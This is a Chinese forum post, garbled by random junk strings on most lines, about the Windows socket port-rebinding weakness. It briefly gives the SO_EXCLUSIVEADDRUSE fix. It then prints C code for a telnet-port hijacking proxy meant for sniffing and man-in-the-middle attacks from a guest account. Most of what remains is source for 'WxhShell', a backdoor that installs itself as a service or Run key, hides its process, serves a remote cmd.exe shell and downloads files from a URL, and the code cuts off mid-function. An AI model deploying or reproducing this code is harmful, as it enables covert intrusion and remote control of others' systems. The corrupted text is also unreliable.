在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
> `n,S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P^w#S v1%uxthW saddr.sin_family = AF_INET;
g{8,Wx,, Eve.QAl| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hg+X(0 :|Ad:fEs bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e
' 2F# v=_6XF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
*Txl+zTY `0P$#5? 这意味着什么?意味着可以进行如下的攻击:
#;%JT kMtwiB|7j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
F'B8v3 J]&y$?C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
JcbwDlUb o'W5|Gy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6`v7c!7 r :F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
GlbySD@ ?pn}s]*/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e XfZ5(na 7VMvF/ap]u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u86"Y^d# g>dA$h% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{_S}H1, q o\?o #include
@6mBqcE'? #include
'Y56+P\u #include
q|Q k2M #include
Z00+!Tnd DWORD WINAPI ClientThread(LPVOID lpParam);
P?t"jKp' int main()
qIY~dQ| {
=!`j7#: WORD wVersionRequested;
h\nI!{A0 DWORD ret;
NGOqy+Ty{f WSADATA wsaData;
\hhmVt@@ BOOL val;
]3g?hM6 SOCKADDR_IN saddr;
E I:w
aIr SOCKADDR_IN scaddr;
D3)zk@N int err;
);Z1a&K5k SOCKET s;
9A,^c; SOCKET sc;
czm&~n6$ int caddsize;
'B@e8S)y HANDLE mt;
Y]L9Y9 DWORD tid;
iVG-_RsKK wVersionRequested = MAKEWORD( 2, 2 );
^my].Qpt err = WSAStartup( wVersionRequested, &wsaData );
*cC_j*1@ if ( err != 0 ) {
rFC" Jx printf("error!WSAStartup failed!\n");
"g'jPwFG return -1;
J41G&$j( }
9nH?l{As saddr.sin_family = AF_INET;
GKoK7qH\J Hd,p!_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!zPa_`P Db6om7N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xo&]RYG[< saddr.sin_port = htons(23);
)l!3( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DqX{'jj {
h=(DX5:A printf("error!socket failed!\n");
zOGU8Wg return -1;
^_ kJKM, }
BRk0CLr5 val = TRUE;
Sr%;fq //SO_REUSEADDR选项就是可以实现端口重绑定的
NMww>80 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h}]fnA {
~M\I;8ne printf("error!setsockopt failed!\n");
7DIIx}A return -1;
jLpc
Zb, }
de>v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"R3d+p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kI:}| _ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
qQ0cJIISb\ \mV'mZ9> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4E+hRKuo, {
Op>%?W8/UF ret=GetLastError();
~_s{0g]B printf("error!bind failed!\n");
?}m']4p return -1;
*X4PM\ck }
!}4MN:r listen(s,2);
,:`ND28V7 while(1)
JB>b`W9 {
A0fFv+RN3 caddsize = sizeof(scaddr);
(sQr X{~ //接受连接请求
I(9R~q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"h|'}7p if(sc!=INVALID_SOCKET)
9Ffp2NW`; {
_z54Ycr4H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C#H:-Q& if(mt==NULL)
i| ZceX/ {
>5j<4ShW printf("Thread Creat Failed!\n");
#?XQ7Im break;
l2&`J_" }
#hlCs }
P9S2?Q CloseHandle(mt);
|QMhMGjV }
V=lfl1Ev0J closesocket(s);
*bxzCI7b WSACleanup();
"3<da* D1 return 0;
&R$CZU }
@fa@s-wb DWORD WINAPI ClientThread(LPVOID lpParam)
4T?h {
sYdRh?Hq SOCKET ss = (SOCKET)lpParam;
3LfC{ER SOCKET sc;
in(U:04 unsigned char buf[4096];
zLF?P3^ SOCKADDR_IN saddr;
m~dC3}e8/? long num;
8@PX7!9 DWORD val;
TARXx> DWORD ret;
(%U@3._ //如果是隐藏端口应用的话,可以在此处加一些判断
E"L2&. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1Jj Y! saddr.sin_family = AF_INET;
8HZs>l saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lhi_6&&[8 saddr.sin_port = htons(23);
fPR$kch
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W$'R}L {
nwN@DqO printf("error!socket failed!\n");
/"?HZ% W return -1;
oX4q`rt }
~`D|IWMDq val = 100;
Z(ZiFPx2Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?]rPRV {
l9Q(xuhv ret = GetLastError();
j+^oz'q return -1;
N |1>ooU[ }
OKHX)"j\\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^::EikpF% {
P1 zdK0TM ret = GetLastError();
?\#N9+{W return -1;
<BW[1h1k5_ }
ncSFj.}w] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u-1;'a {
^{\<N()R printf("error!socket connect failed!\n");
(708H_ closesocket(sc);
c)Ic#<e( closesocket(ss);
DaH?@Q return -1;
gZEi]/8_ }
5"/J^"!h while(1)
.7
asW( {
*c)uGz'cD
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/1 RAAa //如果是嗅探内容的话,可以再此处进行内容分析和记录
KE1ao9H8wR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~Aq5XI%i num = recv(ss,buf,4096,0);
720)VzT if(num>0)
Pub0IIs send(sc,buf,num,0);
87WBM;$&s else if(num==0)
m{7^EF break;
yi^b)2G num = recv(sc,buf,4096,0);
'SYo_! if(num>0)
[|~2X> send(ss,buf,num,0);
9z
I.pv+] else if(num==0)
`y+-H|%? break;
WO6/X/#8b }
Lw'9 closesocket(ss);
bT6sb#"W closesocket(sc);
n$aA)"A # return 0 ;
J>^\oAgpE }
f""`cdqAOh ms_ VM>l `+#G+Vu5 ==========================================================
xBFJ} v a,Gxm! 下边附上一个代码,,WXhSHELL
%hN.ktZ/s zd]D(qeX ==========================================================
TrdZJ21#M {u[V{XIUh #include "stdafx.h"
%Rh;=p` -AYA~O(& #include <stdio.h>
!WkIi^T #include <string.h>
3@n>*7/E #include <windows.h>
+m}Pmi$ #include <winsock2.h>
__@zT SVb #include <winsvc.h>
<}jPXEB" #include <urlmon.h>
=H8 xSJLh 4gSH(*} #pragma comment (lib, "Ws2_32.lib")
b.O9ITR #pragma comment (lib, "urlmon.lib")
J4=_w 81%8{yn!$" #define MAX_USER 100 // 最大客户端连接数
=V97;kq+v #define BUF_SOCK 200 // sock buffer
dJ:MjQG`W #define KEY_BUFF 255 // 输入 buffer
y[@\j9Hq 93IFcmO.H@ #define REBOOT 0 // 重启
"7d-z<^n #define SHUTDOWN 1 // 关机
z^nvMTC NA$zd( #define DEF_PORT 5000 // 监听端口
0lM{l? }<jb vCeK #define REG_LEN 16 // 注册表键长度
-;;Z 'NM;8 #define SVC_LEN 80 // NT服务名长度
i{^Z1;Yl ^O^:$nXhYy // 从dll定义API
)R_E|@" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
m6
s7F/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]v G{kAnH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
CnN9!~]" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qP!P
+'B S<nq8Ebmw // wxhshell配置信息
mqfO4"lt struct WSCFG {
c~<1': int ws_port; // 监听端口
$[@0^IJq=K char ws_passstr[REG_LEN]; // 口令
hIJ)MZU| int ws_autoins; // 安装标记, 1=yes 0=no
7:NmCpgL! char ws_regname[REG_LEN]; // 注册表键名
zHfP+(ah char ws_svcname[REG_LEN]; // 服务名
r'BAT3 char ws_svcdisp[SVC_LEN]; // 服务显示名
R)Mt(gFZT_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Xl |1YX1&m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ExHAY|UA int ws_downexe; // 下载执行标记, 1=yes 0=no
XH7xT@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E3/:.t char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9^F2$+T[: 8iC:xcN3 };
2WvN2"f3 Ap\AP{S4 // default Wxhshell configuration
rAQF9O[ struct WSCFG wscfg={DEF_PORT,
,%# "xuhuanlingzhe",
EA<}[4#jS 1,
E{Pgf8 "Wxhshell",
!.5),2 "Wxhshell",
!SHj$Jwa' "WxhShell Service",
7@%'wy&A "Wrsky Windows CmdShell Service",
Aw!gSf) "Please Input Your Password: ",
^]p 1,
/DS?}I.*] "
http://www.wrsky.com/wxhshell.exe",
Wx)K*9 "Wxhshell.exe"
4YU/uQm };
sTHq&(hLUG o=fgin/E\ // 消息定义模块
smAC,-6]~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Bz2'=~J char *msg_ws_prompt="\n\r? for help\n\r#>";
]"fsW 9s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S(eQ{rSs char *msg_ws_ext="\n\rExit.";
+$z]w(lb T char *msg_ws_end="\n\rQuit.";
t@bt6J .{ char *msg_ws_boot="\n\rReboot...";
`BZ&~vJ_ char *msg_ws_poff="\n\rShutdown...";
|I[7,`C~ char *msg_ws_down="\n\rSave to ";
'3l$al:H^ $<?X7n^ char *msg_ws_err="\n\rErr!";
@=]8^?$t
0 char *msg_ws_ok="\n\rOK!";
KT*:F(4` X}4}& char ExeFile[MAX_PATH];
-[#n+`M int nUser = 0;
~bA,GfSn0 HANDLE handles[MAX_USER];
_.18z+ int OsIsNt;
SjcL#S($&Y BZ+-p5]- SERVICE_STATUS serviceStatus;
w3*-^: ?j SERVICE_STATUS_HANDLE hServiceStatusHandle;
\X}8q S9Y[4*// // 函数声明
YwT-T,oD int Install(void);
5a8>g
[2U int Uninstall(void);
\Xg?Ug*9w int DownloadFile(char *sURL, SOCKET wsh);
y)J(K*x/$ int Boot(int flag);
wod/&!)]A void HideProc(void);
=F%RLpNU4 int GetOsVer(void);
2O""4_G int Wxhshell(SOCKET wsl);
M7y|EB)) void TalkWithClient(void *cs);
)xl6,bq3 int CmdShell(SOCKET sock);
f!GHEhQ9 int StartFromService(void);
+S { int StartWxhshell(LPSTR lpCmdLine);
"4}wnu6/ zDBD .5R; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:pKG\A VOID WINAPI NTServiceHandler( DWORD fdwControl );
o#i
]" nf%4sIQ*x // 数据结构和表定义
7$T8&Mh SERVICE_TABLE_ENTRY DispatchTable[] =
&&RA4 {
e 3@x*XI {wscfg.ws_svcname, NTServiceMain},
ij)Cm]4(2 {NULL, NULL}
7t(Y;4<2 };
:
1)}Epo, }#N]0I)JI // 自我安装
o$bUY7_ int Install(void)
B1T5f1;uY {
=d20Xa char svExeFile[MAX_PATH];
pz}mF D&[ HKEY key;
bcJ@-i0V strcpy(svExeFile,ExeFile);
4Z%Y"PL(K X.J // 如果是win9x系统,修改注册表设为自启动
2)LX^?7R if(!OsIsNt) {
/(6zsq'v| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}ymvC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z$2L~j"=! RegCloseKey(key);
]if;A ) ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{/UhUG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(.^8^uc7X RegCloseKey(key);
[ #]jC[ return 0;
z%2w(&1 }
_-a|VTM }
X=_Z(;<& }
[yd6gH else {
W8/(;K`/ i-13~Dk // 如果是NT以上系统,安装为系统服务
!UNNjBBP7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^8742. if (schSCManager!=0)
?V+wjw {
P>htQ SC_HANDLE schService = CreateService
V/H@vKN2 (
wc[c N+p schSCManager,
T Oy7?;|= wscfg.ws_svcname,
8W{~wg` wscfg.ws_svcdisp,
G' Hh{_: SERVICE_ALL_ACCESS,
u6_jnZGB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~zMKVM1Q., SERVICE_AUTO_START,
@ M[Q$: SERVICE_ERROR_NORMAL,
PNmF}" svExeFile,
#S?c ;3- NULL,
'Oy5e@G+? NULL,
rt.[,m NULL,
i[=C_+2 NULL,
.~<]HAwq NULL
y&rY0bm );
<9 },M if (schService!=0)
F$ {4X /9n {
SI_?~Pf3k CloseServiceHandle(schService);
nVTM3Cz CloseServiceHandle(schSCManager);
V4?Oc2mS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hZF(/4Z2 strcat(svExeFile,wscfg.ws_svcname);
,kE=TR.| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Tf l;7w.(A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7|~:P$M RegCloseKey(key);
QN #)F return 0;
q!2<=:f
}
!fZLQc }
u%aFb* CloseServiceHandle(schSCManager);
M71R -B`- }
(HSw%e }
]PVto\B= RIo'X@zb return 1;
00qZw?%K }
b A+[{ V85.DK! // 自我卸载
yM17H\ = int Uninstall(void)
C38XQLC {
| XLFV HKEY key;
&<{}8/x8( YAMfP8S if(!OsIsNt) {
u9@b< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P' FKk< RegDeleteValue(key,wscfg.ws_regname);
Qg{WMlyOP RegCloseKey(key);
FG _, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{9{J^@ @ RegDeleteValue(key,wscfg.ws_regname);
$O]^Xm3{@ RegCloseKey(key);
g
2#F_ return 0;
$[w|oAwi }
3se$,QmN }
H
oS|f0 }
5%qH7[dx else {
1w) fu C$ hQN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
nr<.YeJ if (schSCManager!=0)
M/)B" q {
*s36OF! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J;HkTT if (schService!=0)
S]b
xQa+ {
N.n1< if(DeleteService(schService)!=0) {
H\f/n`@,G CloseServiceHandle(schService);
,N;v~D$Y CloseServiceHandle(schSCManager);
h;}ODK(. return 0;
@|]G0&gn&? }
l }+Cdy9> CloseServiceHandle(schService);
5])8qb/F }
`
Rsl]
GB CloseServiceHandle(schSCManager);
Ir>2sTrm }
q@w"yz> }
i)8g CDc #\0TxG5'QA return 1;
d{l{P]nr }
-UTV:^ "YD.=s // 从指定url下载文件
6,3}/hgWJ$ int DownloadFile(char *sURL, SOCKET wsh)
x36NL^ {
fYs?D+U;PF HRESULT hr;
Yim#Pq&_ char seps[]= "/";
"p`o]$Wv char *token;
`+Xe'ey char *file;
c-|kv[\a char myURL[MAX_PATH];
DUQ9AT#3 char myFILE[MAX_PATH];
|thad!? 0ovZ&l strcpy(myURL,sURL);
" C&x,Ic token=strtok(myURL,seps);
CBIT`k.+ while(token!=NULL)
9G+y.^/6 {
z=[l.Af_ file=token;
Slo9#26 token=strtok(NULL,seps);
)L|C'dJ<k` }
a/QIJ*0 `{%-*f^ GetCurrentDirectory(MAX_PATH,myFILE);
h2AGEg'g2[ strcat(myFILE, "\\");
V3 qT<}y| strcat(myFILE, file);
>Rr!rtc'x send(wsh,myFILE,strlen(myFILE),0);
qZ233pc send(wsh,"...",3,0);
vD_u[j] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XS3{R if(hr==S_OK)
V15q01bE# return 0;
# UjEY9"M else
.byc;9M% return 1;
+fPNen4E NuIT{3S }
w}"!l G |E?
,xWN // 系统电源模块
|c=d;+ int Boot(int flag)
)4Bwt`VX {
S'|lU@PCl HANDLE hToken;
:82?'aR TOKEN_PRIVILEGES tkp;
\3L$I-]m iY}QgB< M if(OsIsNt) {
|^>u<E5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;r%<2( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FF8WTuzB+ tkp.PrivilegeCount = 1;
hJ<:-u+yk} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
icU"Vyu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c
3}x)aQ if(flag==REBOOT) {
cgzy0$8dj\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L,O>6~9:^1 return 0;
]X/O IfdWe }
vi^z5n else {
>'ie!VW@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f(^33k return 0;
5s#R`o%Z }
<\+Po<)3j }
4$..r4@ else {
w4NZt|>5j; if(flag==REBOOT) {
|&9tU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l.sm~/ return 0;
]~$c~*0g }
$U\!q@'$ else {
A&D2T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P>.Y)$`r return 0;
t>XZ3 }
fF\*v }
3O #~dFnp \a\^(`3a[ return 1;
aeLBaS }
1hF2eNh 2Y9y5[K,F) // win9x进程隐藏模块
"tqS|ok. void HideProc(void)
unx;m$-c {
D7%^Ly >+zAWK9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IiG4ib>)W if ( hKernel != NULL )
TXA. 6e {
H't `Q&]a
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~3LhcU- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f<Va<TL6- FreeLibrary(hKernel);
z?8zFP }
J,CJPUf& /+Wb6{lY return;
mvUVy1-c }
L%TxP6z4A a.5zdoH_ // 获取操作系统版本
b>GqNf! int GetOsVer(void)
>^M!@=/?J {
mABwM$_ OSVERSIONINFO winfo;
?FkQe~FN{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
46QYXmNQ} GetVersionEx(&winfo);
J[I"/sdk- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,ivWVsN*] return 1;
t't^E,E
.@ else
v'mJ~tz return 0;
f(EYx)gZ }
s^{{@O. 3Yn:fsy // 客户端句柄模块
DW'0j$; int Wxhshell(SOCKET wsl)
|;xfe"] {
(:tTx>V# SOCKET wsh;
I^rZgp<'i struct sockaddr_in client;
p{\qSPK DWORD myID;
]w1BJZa36
4WBoZJ while(nUser<MAX_USER)
%!N2!IiVs {
iKR8^sj7S int nSize=sizeof(client);
d;@E~~o?B] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^sr:N5~z` if(wsh==INVALID_SOCKET) return 1;
C*Y
:w _47j9m]f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r"HbrQn if(handles[nUser]==0)
X^?|Sz<^E closesocket(wsh);
G}Qk!r else
d()zW7}W nUser++;
=R"Eb1 }
S)Ub/`f{s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b |o`Q7Hj yg-L^`t+B5 return 0;
%zIl_/s }
S'v V" y \mutm // 关闭 socket
a:(: :m void CloseIt(SOCKET wsh)
"(HA9: {
|wyJh"4!
closesocket(wsh);
ba1$kU nUser--;
l,^i5t' ExitThread(0);
8Izn'>" }
V PLCic,T b7>,-O // 客户端请求句柄
[qjAq@@N#q void TalkWithClient(void *cs)
B6Wq/fl/ {
,YAPCj d~P<M3#> SOCKET wsh=(SOCKET)cs;
i_jax)m% char pwd[SVC_LEN];
#NVF\ char cmd[KEY_BUFF];
=: v>< char chr[1];
VDb,$i.Z0 int i,j;
8VAYIxRv #buV;!_!E? while (nUser < MAX_USER) {
5;sQ@ Jm*M7gj if(wscfg.ws_passstr) {
{m*V/tX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:!Y?j{sGU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!?us[f=g% //ZeroMemory(pwd,KEY_BUFF);
oZ\qT0*eb i=0;
kL2Zr while(i<SVC_LEN) {
'!r+Tz Jfixm=.6 // 设置超时
}
Khq fd_set FdRead;
\h'E5LO struct timeval TimeOut;
+cE tm FD_ZERO(&FdRead);
:DJ7d FD_SET(wsh,&FdRead);
-KU)7V TimeOut.tv_sec=8;
+ 8K1]'t$ TimeOut.tv_usec=0;
ac+k 5K+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I[cV"BDa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
nDoiG#N0 HqnKpZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F`ZIc7(.{ pwd
=chr[0]; ]L%R[Z!3
if(chr[0]==0xd || chr[0]==0xa) { YKX>@)Dxv
pwd=0; +ia(%[
break; 7S~9E2N
} skC|io-Zv
i++; ;([tf;
} 8#d1}Y
vwqN;|F
// 如果是非法用户,关闭 socket kUaGok?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 33,JUQ2u
} 9,EaN{GM
l_j<aCY?|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8t*%q+Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5w [=
]ZryY
EB
while(1) { &Lt$a_y>
Rm\'];
ZeroMemory(cmd,KEY_BUFF); 5?~[|iPv
x[O#(^q
// 自动支持客户端 telnet标准 +GPT:\*q6
j=0; ,;=( )-
while(j<KEY_BUFF) { <@AsCiQF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,wb|?>Y
cmd[j]=chr[0]; 7N59B z
if(chr[0]==0xa || chr[0]==0xd) { dD.d?rnZq7
cmd[j]=0; %3l;bR>
break; KZ<RDXV T
} eE riv@v
j++; (HrkUkw
} N5 rG.6K
i\Q"a B"r
// 下载文件 c]>&6-;rf
if(strstr(cmd,"http://")) { &6^W%r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }fZ=T4r
if(DownloadFile(cmd,wsh)) moJT8tb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'2kV6TtqD
else M6hvi(!X2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vb"dX0)<
} `j!2uRFe>
else { >K|G LP
j_a~)o-p
switch(cmd[0]) { 6 XOu~+7
9M7(_E;)B
// 帮助 ZAM+4#@
case '?': { +S5_J&~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r(in]7
break; ]20"la5
} >pH775I=
// 安装 !{ESeBSCG
case 'i': { gy,TT<1)
if(Install()) ME10dr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yDkDtO`K
else 61rh\<bn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *"QE1Fum'
break; >5@vY?QXO
} ;`PkmAg
// 卸载 ,nChwEn
case 'r': { 7+!7]'V
if(Uninstall()) Y\z\{JW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cV_IG}LJ
else :%b2;&A[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LI|HET_
break; FPUR0myCU
} L|1zHDxQ
// 显示 wxhshell 所在路径 FqUt uN
case 'p': { q}F%o0
char svExeFile[MAX_PATH]; vB YT)S
strcpy(svExeFile,"\n\r"); CygV_q
strcat(svExeFile,ExeFile); v4>"p!_C
send(wsh,svExeFile,strlen(svExeFile),0); x^O2Lj,w\
break; +l?ro[#6&.
} 73z|'0.
// 重启 aq,)6P`
case 'b': { |m 5;M$M)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?!
_pP|
if(Boot(REBOOT)) E e\-q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4_6\VaM
else { rWfurB5f
closesocket(wsh);
T!xy^n]}
ExitThread(0); 3&nc'
} rUpAiZfz >
break; _yB9/F
} gL}Y5U+s
// 关机 Q.2nUT`
case 'd': { ,Ho.O7H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I.0P7eA-
if(Boot(SHUTDOWN)) ;$L!`"jn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7C?mD75j
else { ODvpMt:+
closesocket(wsh); zcWxyLifl0
ExitThread(0); "gikX/Co=
} D:vUy*
break; lvJ{=~u
} I+d(r"N1
// 获取shell s&`XK$p
case 's': { hG;=ci3EE
CmdShell(wsh); y'O{8Q8T
closesocket(wsh); f uNXY-;
ExitThread(0); 34^Cfh
break; H'\ EA(v+
} v_h*:c
// 退出 :;WDPRx
case 'x': { Eg29|)qsz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :aqskeT
CloseIt(wsh); EM
w(%}8w
break; Ahbu >LPk
} X|1YGZJ
// 离开 !K~$-jlT
case 'q': { yj+b/9My
send(wsh,msg_ws_end,strlen(msg_ws_end),0); sfPN\^k2
closesocket(wsh); Q!e0Vb
WSACleanup(); 49fq6ZhO
exit(1);
<m:wuNEM
break; M*6@1.n
} NP'DuzC
} 4"(zi5`e
} Dj.+5f'
"s<lLgi
// 提示信息 []3}(8yxGb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v!h-h&p O7
} UBHQzc+,
} GFa/9Bi
4^ 6L ])y
return; KmOa^vY1.T
} xLK0~|_#!
'R'a/ZR`B7
// shell模块句柄 9:w,@Phe
int CmdShell(SOCKET sock) -86:PL(I"
{ FF!g9>
STARTUPINFO si; qML*Kwg
ZeroMemory(&si,sizeof(si)); .%Q Ea_\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,4W((OQ^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $[CA#AXE
PROCESS_INFORMATION ProcessInfo; iPO
S
char cmdline[]="cmd"; y+afUJT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /(pChY>
return 0; }/0dfes
} yZ0ZP
+M&S
// 自身启动模式 Y mjS!H
int StartFromService(void) r+pjv_R
{ NT/B4'_@
typedef struct swL|Ff`$
{ VDY1F_Fk
DWORD ExitStatus; )_K@ ?rWS
DWORD PebBaseAddress; !QS<;)N@
DWORD AffinityMask; '\\Cpc_g
